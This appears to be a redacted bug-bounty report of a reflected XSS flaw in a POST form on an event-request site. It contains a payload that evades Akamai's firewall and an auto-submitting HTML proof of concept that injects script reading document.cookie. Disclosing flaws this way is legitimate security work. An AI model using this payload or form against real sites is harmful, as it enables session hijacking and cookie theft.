Cross-Site Scripting (XSS) Vulnerability via POST Method + Akamai Firewall Bypass

How it was found

Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on █████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Payload to bypass Akamai Firewall: '"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>

References

█████████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited:

Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post. If it asks to agree to consent, accept in the website and use the PoC again.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="██████" method="POST">
      <input type="hidden" name="EVENT&#95;CITY" value="San&#32;Francisco&apos;&quot;&gt;&lt;A&#32;HRef&#61;&#92;&quot;&#32;AutoFocus&#32;OnFocus&#61;top█████████;&#42;&#42;████;&#63;&#46;&#91;&apos;ale&apos;&#43;&apos;rt&apos;&#93;&#40;document&#43;cookie&#41;&gt;" />
      <input type="hidden" name="EVENT&#95;END&#95;DATE" value="████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;ALT&#95;PHONE" value="█████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;CITY" value="San&#32;Francisco" />
      <input type="hidden" name="EVENT&#95;POC&#95;EMAIL" value="testing&#64;example&#46;com" />
      <input type="hidden" name="EVENT&#95;POC&#95;FAX" value="317&#45;317&#45;3137" />
      <input type="hidden" name="EVENT&#95;POC&#95;FIRST&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;POC&#95;LAST&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;POC&#95;MI" value="1" />
      <input type="hidden" name="EVENT&#95;POC&#95;PRIM&#95;PHONE" value="████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;ROOM" value="1" />
      <input type="hidden" name="EVENT&#95;POC&#95;STATE" value="AL" />
      <input type="hidden" name="EVENT&#95;POC&#95;STREET" value="█████████Street" />
      <input type="hidden" name="EVENT&#95;POC&#95;TITLE" value="Mr&#46;" />
      <input type="hidden" name="EVENT&#95;POC&#95;ZIP" value="94102" />
      <input type="hidden" name="EVENT&#95;ROOM" value="1" />
      <input type="hidden" name="EVENT&#95;SITE&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;START&#95;DATE" value="████" />
      <input type="hidden" name="EVENT&#95;STATE" value="AL" />
      <input type="hidden" name="EVENT&#95;STREET" value="█████Street" />
      <input type="hidden" name="EVENT&#95;TITLE" value="Mr&#46;" />
      <input type="hidden" name="EVENT&#95;URL" value="http&#58;██████;████;www&#46;example&#46;com" />
      <input type="hidden" name="EVENT&#95;ZIP" value="94102" />
      <input type="hidden" name="EXPECTED&#95;ATTENDANCE" value="11███;2011" />
      <input type="hidden" name="FED&#95;GOVT&#95;BRANCH&#95;AGENCY" value="20" />
      <input type="hidden" name="SPONSOR&#95;ORG&#95;SVC&#95;BRANCH&#95;OID" value="1" />
      <input type="hidden" name="SPONSOR&#95;ORG&#95;TYPE" value="S&#45;DoD" />
      <input type="hidden" name="WIZARD&#95;CHECKBOXES" value="SPONSOR&#95;ORG&#95;TYPE" />
      <input type="hidden" name="button&#95;save&#95;and&#95;continue" value="Save&#32;&amp;&#32;Continue" />
      <input type="hidden" name="pageNumber" value="20" />
      <input type="hidden" name="priorPageNumber" value="20" />
      <input type="hidden" name="requestID" value="C6FAC0A7&#45;E6E4&#45;C637&#45;E3DAAE6E3C7A6F1F" />
      <input type="hidden" name="returnTab" value="10" />
      <input type="hidden" name="showOutreachType" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page